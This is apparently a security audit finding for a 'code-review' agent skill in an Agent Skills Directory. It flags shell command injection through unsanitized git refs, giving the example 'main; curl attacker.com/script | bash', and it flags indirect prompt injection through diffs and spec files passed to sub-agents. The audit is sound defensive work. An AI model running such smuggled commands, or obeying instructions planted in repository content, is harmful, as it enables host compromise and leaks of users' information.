The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructions direct the agent to execute shell commands using a user-supplied 'fixed-point' (e.g., branch name, commit SHA) without explicit validation or sanitization.
Evidence: In SKILL.md, the agent is instructed to run commands like git rev-parse <fixed-point>, git diff <fixed-point>...HEAD, and git log <fixed-point>..HEAD using the raw input provided by the user.
Risk: If a user provides a crafted string containing shell metacharacters (e.g., main; curl attacker.com/script | bash), it could lead to arbitrary command execution on the host system depending on how the agent platform handles command interpolation.
[PROMPT_INJECTION]: The skill architecture is vulnerable to indirect prompt injection because it ingests untrusted content from the repository and passes it directly to sub-agents.
Ingestion points: The skill ingests untrusted data from the output of git diff and git log, as well as the contents of specification files found in repository paths like docs/, specs/, or .scratch/.
Boundary markers: The instructions lack explicit delimiters or specific 'ignore instructions' warnings when passing this data to the Standards and Spec sub-agents, which increases the risk that malicious instructions in the code or spec files will be followed.
Capability inventory: The sub-agents are general-purpose models with the ability to analyze content, which could be leveraged to perform unauthorized actions or leak information if the sub-agent is successfully hijacked.
Sanitization: No sanitization or filtering of the diff or specification content is performed before it is interpolated into the prompts for the sub-agents.

code-review